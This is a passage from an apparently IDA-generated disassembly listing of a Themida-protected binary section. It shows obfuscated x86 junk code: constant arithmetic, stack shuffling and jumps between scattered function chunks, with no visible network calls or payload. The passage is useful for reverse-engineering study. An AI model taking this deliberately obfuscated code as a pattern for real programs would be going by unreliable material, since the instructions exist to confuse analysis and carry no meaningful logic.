CHUNK AT 00564A3F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056E554 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056FE37 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0057243D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00573561 SIZE 00000008 BYTES push ebx jmp loc_564A3F sub_56626B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573876 loc_566271: ; CODE XREF: sub_573876-F235j add [edi+40h], ecx pop ecx push dword ptr [esp+0] pop eax push 70A0h mov [esp+4+var_4], ecx push esp push [esp+8+var_8] pop ecx jmp loc_570938 ; END OF FUNCTION CHUNK FOR sub_573876 ; =============== S U B R O U T I N E ======================================= sub_56628B proc near ; DATA XREF: Themida_:0055FD1Co var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056005C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056133D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005619FF SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00562816 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00562B97 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005637D3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00564761 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00566372 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005676D9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00567D66 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00567D8C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00567F5F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005685D8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00569742 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A8F8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056C06F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056C1FD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056CB76 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056D46F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056E341 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056FD0F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005702CE SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00571221 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0057173D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0057225D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00573C9D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005742DF SIZE 0000000E BYTES lodsd push ebx mov ebx, 71E678A5h add eax, ebx mov ebx, [esp+4+var_4] jmp loc_57173D sub_56628B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_56629C: ; CODE XREF: sub_56CD13-1902j mov eax, esp push ecx push esi mov esi, 2F5F1069h or esi, 561B61E7h sub esi, 705936AEh xor esi, 0A393DB3h mov ecx, esi pop esi shr ecx, 4 xor ecx, 2D6A1C04h push ebp mov ebp, 13C23276h shl ebp, 8 or ebp, 0D917498h push edi mov edi, 1A2E3950h sub ebp, edi pop edi push ecx jmp loc_56BF1A ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- loc_5662E1: ; CODE XREF: Themida_:005638BAj push cx pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566078 loc_5662E9: ; CODE XREF: sub_566078-C81j xor eax, edx jmp loc_5655F1 ; END OF FUNCTION CHUNK FOR sub_566078 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_5662F0: ; CODE XREF: sub_56FA15-BD86j mov ch, 92h sub al, 0E3h jmp loc_57287D ; END OF FUNCTION CHUNK FOR sub_56FA15 ; =============== S U B R O U T I N E ======================================= sub_5662F9 proc near ; DATA XREF: Themida_:0055FF2Co var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 00569BA6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056A8E5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056BB6B SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0056C12D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056E645 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056EECE SIZE 00000019 BYTES mov ax, [esp+0] sub esp, 4 mov [esp+4+var_4], ecx mov ecx, esp push edi push ebp push 3FA838A7h pop ebp not ebp and ebp, 497E29D6h shl ebp, 6 sub esp, 4 mov [esp+10h+var_10], edi mov edi, 621B1CDCh not edi add edi, 4C9AC8E1h add ebp, edi pop edi push ebp pop edi pop ebp add ecx, 23EA67DAh add ecx, edi sub ecx, 23EA67DAh pop edi push ebp mov ebp, 2 jmp loc_56EECE sub_5662F9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_566351: ; CODE XREF: sub_56A608+7452j mov eax, 3872CA7h jmp loc_56DEA2 ; END OF FUNCTION CHUNK FOR sub_56A608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56635B: ; CODE XREF: sub_561418+27F4j push edx mov edx, 4 add ebp, edx pop edx push ebx push esi mov esi, 4 mov ebx, esi jmp loc_5739D5 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_566372: ; CODE XREF: sub_56628B+68FCj pop eax push edx mov edx, 0C767C785h jmp loc_56C1FD ; END OF FUNCTION CHUNK FOR sub_56628B ; =============== S U B R O U T I N E ======================================= sub_56637E proc near ; CODE XREF: sub_5681F5+D10Cj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056737B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005694D2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056A3CC SIZE 00000016 BYTES sub esp, 4 mov [esp+4+var_4], edi jmp loc_56A3CC sub_56637E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_56638C proc near ; DATA XREF: Themida_:0055FEC4o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560D7F SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0056150A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056169E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00562428 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056258B SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0056266F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00564CAF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00568111 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00569366 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00569EC5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056A03E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056ED81 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 00570AD3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005710F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005729CA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00574249 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005749DE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00574FE4 SIZE 0000002F BYTES mov cx, [esp+0] push 3FD3h jmp loc_56150A sub_56638C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56639A: ; CODE XREF: sub_56AB5E-2AA8j mov ch, dh mov bh, ch pop ecx mov edx, [esp+8+var_8] jmp loc_5672AC ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56671D loc_5663A7: ; CODE XREF: sub_56671D+E124j neg al add al, 26h sub al, 1Eh xor cl, al pop eax sub esp, 4 mov [esp+8+var_8], ecx inc byte ptr [esp+8+var_8] mov ecx, [esp+8+var_8] add esp, 4 push ebx push eax mov al, 78h or al, 4Bh jmp sub_561C21 ; END OF FUNCTION CHUNK FOR sub_56671D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_5663CD: ; CODE XREF: sub_56FB8A-542Cj mov ebx, 4 push ecx mov ecx, 33A76898h sub eax, ecx pop ecx sub eax, 397C76B9h add eax, ebx add eax, 397C76B9h push ebx mov ebx, 5E5E4E6Dh add ebx, 4A191DA2h jmp loc_56A186 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- loc_5663F8: ; CODE XREF: Themida_:00562A95j mov edi, eax pop eax jmp loc_564301 ; =============== S U B R O U T I N E ======================================= sub_566400 proc near ; DATA XREF: Themida_:0055FEB8o var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005610FE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005627EA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00562E98 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005641C5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00564ECC SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00566244 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566A65 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00568448 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005699F9 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00569B7B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00569F18 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0056A152 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056C5D5 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056D155 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056F24B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056FF20 SIZE 0000000B BYTES lodsd jmp loc_5699F9 sub_566400 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575420 loc_566406: ; CODE XREF: sub_575420-B6CEj dec cl jmp sub_56EB4A ; END OF FUNCTION CHUNK FOR sub_575420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_56640D: ; CODE XREF: sub_5620B7+117F0j xor al, bl pop ebx push ebp mov ebp, esp push esi mov esi, 4DF616B4h sub esi, 7AB307DBh xchg edx, esi sub edx, 0FFFFFFFFh xchg edx, esi shr esi, 2 jmp loc_573C20 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_566431: ; CODE XREF: sub_564D26-173Aj add edx, 29762EA0h mov ebp, [esp+18h+var_18] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp+1Ch+var_1C] jmp loc_563E76 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5683C0 loc_566451: ; CODE XREF: sub_5683C0-234Dj add edx, 12302F5Ah add edx, 66C66354h jmp loc_56AAD8 ; END OF FUNCTION CHUNK FOR sub_5683C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_566462: ; CODE XREF: sub_56AB5E+8094j xor [esp+10h+var_10], ebp xor ebp, [esp+10h+var_10] jmp loc_560684 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56646D: ; CODE XREF: sub_569193+B029j push [esp+4+var_4] push [esp+8+var_8] mov ecx, [esp+0Ch+var_C] add esp, 4 push edx push esp pop edx jmp loc_564582 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_566484: ; CODE XREF: sub_561418+C72j push ecx mov ecx, 3DE54D8Dh add ecx, 0C21AB277h mov edi, ecx mov ecx, [esp+14h+var_14] add esp, 4 add [esp+10h+var_C], edi pop edi pop ecx add ecx, 4 sub esp, 4 mov [esp+0Ch+var_C], edx sub esp, 4 mov [esp+10h+var_10], ebp push edi mov edi, 48DE0CB3h jmp loc_568630 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_5664C1: ; CODE XREF: sub_56FB8A-F076j pop ebx jmp loc_5745C1 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_5664C7: ; CODE XREF: sub_5673C3+92Dj mov [esp+0], edi mov edi, 2147025Bh sub edi, 21470257h add ebp, edi mov edi, [esp+0] add esp, 4 xor ebp, [esp-4+arg_0] jmp loc_56AED6 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- loc_5664E5: ; CODE XREF: Themida_:005753FFj sub esp, 4 jmp loc_5671BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_5664ED: ; CODE XREF: sub_5690E8-326Aj neg ebx jmp loc_56EB70 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C7AA loc_5664F4: ; CODE XREF: sub_56C7AA+2j mov esi, 4FE1DC7h or esi, 63127D6Fh shr esi, 1 jmp loc_562D60 ; END OF FUNCTION CHUNK FOR sub_56C7AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_566506: ; CODE XREF: sub_574F16-7A18j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop edx mov bl, cl jmp loc_561B1A ; END OF FUNCTION CHUNK FOR sub_574F16 ; =============== S U B R O U T I N E ======================================= sub_56651E proc near ; CODE XREF: sub_5747D7-13586j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056106B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00563F44 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00564786 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00567152 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00567636 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005691AB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00569DD2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056C146 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056C7EB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056DAA9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056EAF1 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056F22B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056FB59 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005701B8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00570BFB SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005734C1 SIZE 0000003A BYTES sub esp, 4 mov [esp+4+var_4], esp push edi push ecx mov ecx, 4 mov edi, ecx pop ecx sub [esp+8+var_4], 78D93E6Dh jmp loc_56C146 sub_56651E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_56653B: ; CODE XREF: sub_572075+3058j xor edi, [esp+0] jmp loc_561910 ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DC7 loc_566543: ; CODE XREF: sub_566DC7-30F1j mov ebp, [esp+0] push esi jmp loc_568C82 ; END OF FUNCTION CHUNK FOR sub_566DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_56654C: ; CODE XREF: sub_571C93-C34Aj mov ebx, 462D17FBh inc ebx neg ebx xchg eax, ebx not eax xchg eax, ebx sub ebx, 39CD4A8Dh add ebx, 317673B6h mov ecx, ebx jmp loc_5733AF ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_56656B: ; CODE XREF: sub_56D4B8-5E5Fj add edi, 71FDFFC1h add ecx, edi pop edi push ecx jmp loc_567EF6 ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; =============== S U B R O U T I N E ======================================= sub_56657A proc near ; CODE XREF: sub_571890-DF88j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560F0B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00562A34 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005631F8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00563CDB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005645D6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056472E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005647EE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005669CE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005676B4 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00567746 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005686AE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00568FFA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00569BB3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00569E87 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056A2C3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056AB7D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056AE2C SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056CBD5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056CF7D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056D783 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0057367D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00574361 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057484D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00574865 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00575261 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005752BB SIZE 00000009 BYTES push ebx mov ebx, 75D65D81h sub ebx, 6E935DB7h shr ebx, 1 add ebx, 1CAC9224h add ecx, ebx pop ebx jmp loc_567746 sub_56657A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DAB2 loc_566596: ; CODE XREF: sub_56DAB2-683Bj add esi, 4 add esi, 4 xchg esi, [esp+8+var_8] pop esp sub eax, 42270DB1h add eax, edi jmp loc_57126A ; END OF FUNCTION CHUNK FOR sub_56DAB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_5665AF: ; CODE XREF: sub_571088-1094Bj pop eax jmp loc_574BC4 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5671E1 loc_5665B5: ; CODE XREF: sub_5671E1-37BDj add esp, 4 push ecx mov ecx, 33024246h not ecx xor ecx, 0CCFDBDBDh sub edi, 6CFE34C2h jmp loc_56D7FB ; END OF FUNCTION CHUNK FOR sub_5671E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_5665D4: ; CODE XREF: sub_565632+D41Bj or ecx, edx jmp loc_56B517 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- loc_5665DB: ; CODE XREF: Themida_:005754F8j mov ebx, 2 sub eax, 29615B20h add eax, ebx add eax, 29615B20h pop ebx xchg eax, [esp] mov esp, [esp] mov ax, [esp] jmp loc_567F0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5665FC: ; CODE XREF: sub_5685B2-6A84j shr ah, 4 sub ah, 0E5h xor dl, ah mov eax, [esp+0] add esp, 4 jmp loc_562E0F ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_56660F: ; CODE XREF: sub_570CE4-4EE2j sub eax, 5E495FFCh add ecx, eax pop eax add ecx, 4 jmp loc_5608E3 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56661F: ; CODE XREF: sub_574304-E5BBj mov esp, [esp+0] jmp loc_57142E ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_566627: ; CODE XREF: sub_56616D+48AEj pop esp and eax, esi pop esi or eax, eax jz loc_570869 push esi mov esi, esp push edx mov edx, 4 add esi, edx pop edx sub esi, 4 xchg esi, [esp-8+arg_4] pop esp mov [esp-0Ch+arg_8], eax mov eax, 1Ch jmp loc_56D202 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574DC1 loc_566653: ; CODE XREF: sub_574DC1-8A94j pop ebx sub edi, 4 xchg edi, [esp+8+var_8] pop esp mov [esp+4+var_4], ebp mov ebp, 5DCD4518h sub eax, ebp jmp loc_5618B2 ; END OF FUNCTION CHUNK FOR sub_574DC1 ; =============== S U B R O U T I N E ======================================= sub_56666D proc near ; DATA XREF: Themida_:0055FCFCo var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005610B4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00565063 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005679F0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057513D SIZE 00000013 BYTES mov ax, [esp+0] push ebx push esp mov ebx, [esp+8+var_8] jmp loc_565063 sub_56666D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56667B: ; CODE XREF: sub_570732-CB8Dj xor ebx, 0E71B6CF5h push eax mov eax, ebx mov ebp, eax pop eax mov ebx, [esp+18h+var_18] jmp loc_5732CE ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56668F: ; CODE XREF: sub_57354D-E52Fj add ebp, 4 xchg ebp, [esp+8+var_8] pop esp jmp loc_56A6F5 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_56669E: ; CODE XREF: sub_5673C3+1j mov ebx, 41DA0721h add ebx, 42C239DFh and ebx, 4290385Dh sub ebx, 8FFFFCh jmp loc_56408B ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- loc_5666BA: ; CODE XREF: Themida_:00565F11j mov [esp], ebp push esp jmp loc_56FEFD ; =============== S U B R O U T I N E ======================================= sub_5666C3 proc near ; CODE XREF: sub_573A7F-5571j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00562F52 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005631BF SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056404A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005667DD SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00567026 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00567952 SIZE 0000003D BYTES ; FUNCTION CHUNK AT 00568922 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056E78B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0057167D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00572EB8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00573AC6 SIZE 00000061 BYTES ; FUNCTION CHUNK AT 00574BCA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00575110 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005752B1 SIZE 0000000A BYTES push ebx mov ebx, 62B229F2h sub eax, ebx jmp loc_57167D sub_5666C3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_5666D0: ; CODE XREF: sub_572E16+1Bj add [esp+8+var_8], 4 push [esp+8+var_8] pop eax add esp, 4 push esi jmp loc_5628E8 ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57236D loc_5666E4: ; CODE XREF: sub_57236D-107CEj xor ecx, [esp+0] jmp loc_568BD4 ; END OF FUNCTION CHUNK FOR sub_57236D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0CB loc_5666EC: ; CODE XREF: sub_56E0CB-3E5Dj mov [esp+8+var_8], ebx mov ebx, 141706E4h and ebx, 64206A1Ah jmp loc_572389 ; END OF FUNCTION CHUNK FOR sub_56E0CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_5666FF: ; CODE XREF: sub_571F6F-1F23j pop bx jmp loc_570EA7 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_566706: ; CODE XREF: sub_5648C6+1j push esp pop ebp push eax push ebx push esi mov esi, 7C384C0Fh sub esi, 7BA9D1CEh mov ebx, esi jmp loc_5721F7 ; END OF FUNCTION CHUNK FOR sub_5648C6 ; =============== S U B R O U T I N E ======================================= sub_56671D proc near ; CODE XREF: sub_56626B+9BD0j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005611DC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00563792 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005663A7 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056732B SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00569F52 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057318B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00574839 SIZE 0000000D BYTES sub esp, 4 jmp loc_56732B sub_56671D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563BCC loc_566728: ; CODE XREF: sub_563BCC-2E6Aj add edi, 4 jmp loc_56C929 ; END OF FUNCTION CHUNK FOR sub_563BCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_566733: ; CODE XREF: sub_57523A-16j mov [esp+0Ch+var_C], ebp jmp loc_56AAC5 ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_56673B: ; CODE XREF: sub_56E126+Ej shl ebx, 7 add ebx, 46FA580Ch add ebx, 4D9E2942h jmp loc_564E41 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- loc_56674F: ; CODE XREF: Themida_:00563DC6j sub ecx, 5061459Dh sub ecx, 6D7F0020h push eax mov eax, 120D9A98h add ecx, eax mov eax, [esp] push edi mov edi, esp jmp loc_56D759 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_56676E: ; CODE XREF: sub_5734A7-C8DFj push [esp+18h+var_18] pop edi push edi jmp loc_568FDE ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_566778: ; CODE XREF: sub_5653AD+923Ej mov esi, [esp+0] push ebx jmp loc_569663 ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_566781: ; CODE XREF: sub_563A7F+DC3Bj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+12h+var_14+2] pop esp push ecx mov ecx, esp jmp loc_56527D ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574000 loc_56679B: ; CODE XREF: sub_574000-EF09j push esi mov esi, 3A1B9492h push ebp mov ebp, 7B466551h jmp loc_572481 ; END OF FUNCTION CHUNK FOR sub_574000 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_5667AC: ; CODE XREF: sub_56B06D+4340j neg ebp sub ebp, 2901001Ch mov ebx, ebp pop ebp jmp loc_566002 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_5667BC: ; CODE XREF: sub_563DCB+83D1j mov [esp+2+var_4+2], ebx jmp loc_561587 ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_5667C4: ; CODE XREF: sub_571F6F+6BDj not dl shl dl, 2 xor dl, 3Eh xor ch, dl mov edx, [esp+14h+var_14] add esp, 4 push bx mov bl, 0B2h jmp loc_57004A ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_5667DD: ; CODE XREF: sub_5666C3+80E2j mov ecx, 61341853h not ecx and ecx, 716C16BCh add ecx, 70E48ADh sub eax, ecx 